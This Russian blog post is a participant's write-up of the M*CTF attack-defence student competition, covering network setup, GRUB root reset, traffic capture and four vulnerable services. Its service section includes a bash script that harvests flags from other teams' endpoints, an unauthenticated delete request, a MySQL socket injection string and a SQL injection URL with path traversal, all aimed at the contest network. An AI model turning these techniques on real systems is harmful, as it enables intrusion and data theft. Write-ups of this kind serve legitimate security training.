- PVSM.RU - https://www.pvsm.ru -

Записки с M*CTF

mctf

Доброго времени суток! В этом небольшом опусе я хотел бы глазами участника рассказать как проходят соревнования CTF типа attack-defence и, в частности, освятить минувшее соревнование m*ctf [1]. Но перед всем этим хочется поблагодарить свой Университет Иннополис [2] за возможность побывать на этом (и множестве других) мероприятий.

Под катом как организационные, так и технические детали прошедших соревнований. И конечно же много-много фотографий!

CTF

guest-team

CTF — это командные соревнования по компьютерной безопасности и делятся на два вида.

Первый (он же jeopardy или task-based) — набор независимых заданий разнообразного характера. Как правило выделяют основные категории: криптография, стеганография, реверс, форензика, админка. Кто больше наберет очков за отведенное время — тот и молодец (пример недавнего события — CTF от Bi.Zone [3])

Второй тип (он же attack-defence) — куда более интересное и редкое событие. Каждой команде выдается уязвимый образ (у всех команд он идентичен), который содержит в себе несколько сервисов. Каждый из таких сервисов каким-либо образом работает со строками, которые зовутся флагами. Как и следует из названия участникам необходимо их утаскивать через уязвимости в сервисах. А вдобавок к этому и защищать свои собственные. Подобным соревнованием и было M*CTF.

M*CTF

people

M*CTF — это соревнования для студентов Московских ВУЗов, которые проводятся уже в 3 раз на базе МТУСИ. По удачному стечению обстоятельств, мне удалось попасть в гостевую команду и насладиться соревнованиями.

День лекций

Первый день был омрачен ранним подъемом (впрочем второй не сильно отличился). В этот день проходила регистрация команд и, что самое главное, читались лекции (кстати открытые для всех) от партнеров. И серьезную обстановку организаторы попытались развеять небольшим конкурсом. Лекционная программа выглядела примерно так:

lectures

Спасибо ptsecurity [4], Infotecs [5], Group-IB [6] и докладчикам других организаций.

День соревнований

Сеть

Перед началом соревнований нам выдали конфиги сетки для команды с номером N (моя была 21, далее она и будет использоваться):

  • Сетка: 10.60.N.1/24
  • Шлюз: 10.60.N.1
  • Сервисы должны быть доступны по: 10.60.N.2
  • Доступные для других команд IP: 10.60.N.0/25
  • Недоступные для других команд IP: 10.60.N.128/25
  • Хост для проверки флагов: 10.10.40.2:8080

Затем началось самое интересное — начали раздавать флешки с образами. По иронии судьбы примерно 90% флешек содержали битые архивы, поэтому чуть позже было выложен образ на гуглдок [7]. CTF не был бы CTF-ом, если бы на них не случались подобные казусы.

facepalm

Так как я играл практически один делегировать задачи было некому, поэтому все действия ниже следуют выполнять паралельно разными членами команды. Тогда существует весьма небольшой шанс, что вы все успеете :)

Первые шаги

Первое, чем стоит заняться — это конечно залезть в образ и посмотреть, что же там лежит. Но, увы, до меня он добрался очень поздно, поэтому первые приготовления были связаны с сеткой. Ничего магического и сложного в этом нет, но проблема встает, когда нужно "здесь, сейчас и чтобы работало", а маны под вековым слоем пыли уже давно забыты.

ip a a 10.60.21.135/24 dev eth0
ip r a default via 10.60.21.1 dev eth0

В целом это все, главное еще не забыть выключить dhcp клиент (либо поднять свой), чтобы он не сбрасывал настройки. И, конечно же, стоит прописать ns-сервера, чтобы по-человечески ходить в интернет:

echo -e "nameserver 8.8.8.8nnameserver 8.8.4.4" >/etc/resolv.conf

То, с чего стоило начать

Спустя какое-то время ко мне пришел заветный образ mctf.ova и я счастливо открыл его в виртуалке. Подопытным оказался 64-битный Debian, жаждущий лишь 1 GB RAM. Первым флангом обороны появляется синенький экранчик с GRUB-ом:

grub

Пароли от пользователей обычно не говорятся, но, благо, у нас обычный grub, а значит мы без особого труда можем изменить запись загрузчика. После загрузки меняем пароль от root-а и перезагружаемся, не забывая предварительно добавить запуск /bin/bash:

grub-bash

Дальше имеет смысл установить сетевой адаптер типа Bridged и сконфигурировать сеть внутри образа.

Вообще тут стоит отметить, что можно немного усложнить себе жизнь и по-честному сделать NAT-адаптер с правильным форвардингом и фильтрацией, и еще накрутить на шлюз-посредник какой-нибудь IDF, но на самом деле это редко бывает необходимо.

Внутри самого образа сетка сконфигурирована для 4 команды, так что ее нужно подправить:

ip a f dev eth0
ip a a 10.60.21.2/24 dev eth0
ip r a default via 10.60.21.1 dev eth0

И еще немного про сеть

Прежде чем перейти к самому интересному, стоит еще упомянуть чудесную возможность нахождения уязвимостей — анализ сетевого трафика с помощью wireshark-а или любого другого известного вам инструмента. Как вы наверное понимаете можно мониторить трафик, который идет к вам и в нем скорее всего будут запросы от организаторов и от соперников.

Меня хватило на 4 серии дампов [8] (~3гб), но, увы, один из них был безвозвратно утерян из-за незапланированной перезагрузки (надеюсь там случайно не слиты пароли :). Лично я предпочитаю запускать GUI и периодически туда заглядывать, хотя можно и обойтись например такой командой, если жалко память:

tshark -i eth0 -w traf1.pcap

Пожалуй стоить автоматизировать процесс создания новых файлов, но об этом нужно было задуматься заранее. В процессе самой игры обычно не до этого.

another-team

Помимо нахождения уязвимостей в трафике можно еще анализировать пакеты организаторов (в начале игры, как правило от них идет основной трафик). Тут, к примеру, можно определить User-Agent организаторов и тем самым можно фильтровать остальные пакеты от игроков. Тут же можно определить формат флага, а также на какие порты и по какому протоколу он прилетает.

Глядим в образы

И наконец самое интересное! Сервисов у нас оказалось всего 4 штуки и крутятся они в контейнерах докера. Посмотреть информацию о имеющихся образах и крутящихся контейнеров можно например так:

docker ps && docker images 

docker

Тут мы можем заметить 4 сервиса: voicemail(2222 порт, в списке почему-то он не показывается), drdre (3333 порт), mis(8080 порт), poke(8090 порт).

Чтобы проанализировать сервис нам нужно зайти в контейнер докера, а затем найти и скачать оттуда необходимые файлы.

docker exec -it mctf-<service> /bin/bash

Небольшая заметка перед обзором сервисов: разбора задач после соревнований не было и дальнейшее описание сервисов — это то, что я успел нарыть за те 8 часов и то, что смог узнать в процессе общения с другими командами после игры. А значит в каждом из сервисов вероятнее всего еще есть (и много!) эксплуатируемых уязвимостей, так что я был бы крайне признателен за дополнения.

Voicemail

voicemail

Первый сервис служит для отправки голосовых сообщений с помощью freeswitch [9] и все низкоуровневые вещи происходят именно там. Библиотека установлена достаточно свежая и в открытом доступе под нее готовых эксплойтов нет, так что ее изучение показалось мне потерей времени.

Веб-запросы обрабатываются одним файлом voicemail.py, который является простеньким сервером на Flask [10]. Так у всех сервисы одинаковы, значит и параметр app.config['DEBUG'] = True у всех выставлен и секретный ключ тот же.

Еще занимательно, что уже упомянутая библиотека создает /var/www/voicemail/static/freeswitch.log, которая не обрабатывается отдельно в voicemail.py. Почему это важно? В этот лог должны попадать флаги (по словам других участников), хотя из дампов трафика и запросов к сервису других команд мне так и не удалось найти.

DrDre

drdre

Второй сервис представляет из себя монструозный (хотя полезных файлов там не так уж и много) Tomcat [11]-server. Он выступает в роли сайта антивирусной компании. С него можно скачать Dr.Dre антивирус либо проверить малварь аналогично virustotal. Вероятнее всего после отправки этот файл запускался антивирусом, с помощью которого можно было получить какое-нибудь злополучный RCE.

Это собственно и был один из таких сервисов, уязвимость к которым я обнаружил в трафике. Запросы шли на http://10.60.21.2:3333/stat?debug=true [12], недолго думая, заходим туда и видим (или не видим, у вас же нет флагов :) строки подозрительно напоминающие флаг. Небольшой скрипт для сдачи флагов мог выглядить к примеру вот так:

#!/bin/bash

for i in $(seq 1 20);
do
    wget -q "http://10.60.$i.2:3333/stat?debug=true" -O file --timeout=2

    for i in $(egrep -o "[a-zA-Z0-9]{40}=" file); 
    do
        echo $i | nc 10.10.40.2 8080 | grep -i "input flag"
        sleep 1
    done
done

MIS (aka Private Messanger)

mis

Третий сервис — это php-сервер с низкоуровневым общением с бд через голые сокеты. Он позволяет зашифровать текст с помощью картинки 100х100px. Ключ достается из младших битов R-канала, итого выходит ключ может быть до 10000 бит. Шифротекст выходит с помощью исключающего или между флагом, заранее известной солью и ключа. Пробовал смотреть примеры ключей, но, увы, выглядело будто они генерировались случайно. Хотя одна неподтвержденная и неопровергнутая догадка все таки была: вполне вероятно, что ключи могли использоваться для всех команд одни и те же. Тогда при знании соли и ключа можно было получить флаг.

Первая атака шла типа DoS и выполнялась она весьма просто. При запросе на удаления сообщения (флага) проверялось лишь наличие пароля, а не его корректность. Итого запросом вида GET /delete.php?id=<id>&pass=0&ask=Y можно было удалить флаги соперника и тем самым заставить его терять драгоценные очки.

Вторая атака шла на инжект запросов к mysql через голые сокеты. Запрос в сервисе шел следующим образом: Pt999tservice1ttexttPRIMARYtid,pass,textn999t=t1t$_GET[id]n, тем самым можно было подобрать строку и получить полный доступ к бд.

Poke

poke

Последний сервис также реализован на php. В нем предлагается пользователю выбрать покемона и бродить по карте в поисках сражений. После определенного количества побед отправляется флаг. Этот сервис видимо оказался самым дырявым из всех. На самом деле бои можно проводить и не встречая соперника, достаточно лишь знать его ник. Одна из уязвимостей это тривиальных sqli везде, где только можно.

К примеру запрос: /battle.php?to=qzqzqqz'%20union%20select%20username%20from
%20users%20limit%2012345,1%20--%201 выдаст имя пользователя под номером 12345. Далее по запросу "/class/database/users/<nick>/flag.jpg" достаем нужный флаг. Можно было поступить еще проще: запрос "/class/database/users.db" выдавал целую sqlite базу, откуда можно помимо списка пользователей достать еще хэши паролей и много других интересностей. Но если вдруг хочется просто поиграть, да не с кем, то можно просто заходить на /battle.php?to=../users/

И еще пару слов про окончание

cup

За час до конца соревнования (намеренно) закрылся доступ к таблице с очками, и тем самым, сохранялась интрига кто же все таки победит. Было крайне неожиданно увидеть на первом месте команду из ВШЭ, которая до этого занимала 4 место. И конечный скорборд по-хакерски, в консольки (а не потому, что упал сервер):

scoreboard

Хочется выразить огромную благодарность комьюнити ctfnews [13] за поддержку самих соревнований и за фоточки. Остальные, кстати, можно найти в альбоме вк [14]

Автор: l4l

Источник [15]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/programmirovanie/219513

Ссылки в тексте:

[1] m*ctf: http://mctf.aciso.ru

[2] Университет Иннополис: https://habrahabr.ru/company/innopolis_university/

[3] CTF от Bi.Zone: https://habrahabr.ru/company/bizone/blog/315026/

[4] ptsecurity: https://habrahabr.ru/users/ptsecurity/

[5] Infotecs: https://habrahabr.ru/users/infotecs/

[6] Group-IB: https://habrahabr.ru/company/group-ib/

[7] гуглдок: https://drive.google.com/file/d/0B0GA6y7BRc-Da2Q0czhWenk2Rnc/view

[8] дампов: https://drive.google.com/open?id=0B2pOLqHDzXr7VUtEd25xX0M3X28

[9] freeswitch: https://www.freeswitch.org

[10] Flask: http://flask.pocoo.org/

[11] Tomcat: http://tomcat.apache.org/

[12] http://10.60.21.2:3333/stat?debug=true: http://10.60.21.2:3333/stat?debug=true

[13] ctfnews: http://ctfnews.ru/

[14] альбоме вк: https://vk.com/album-81868406_239256102

[15] Источник: https://habrahabr.ru/post/317336/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best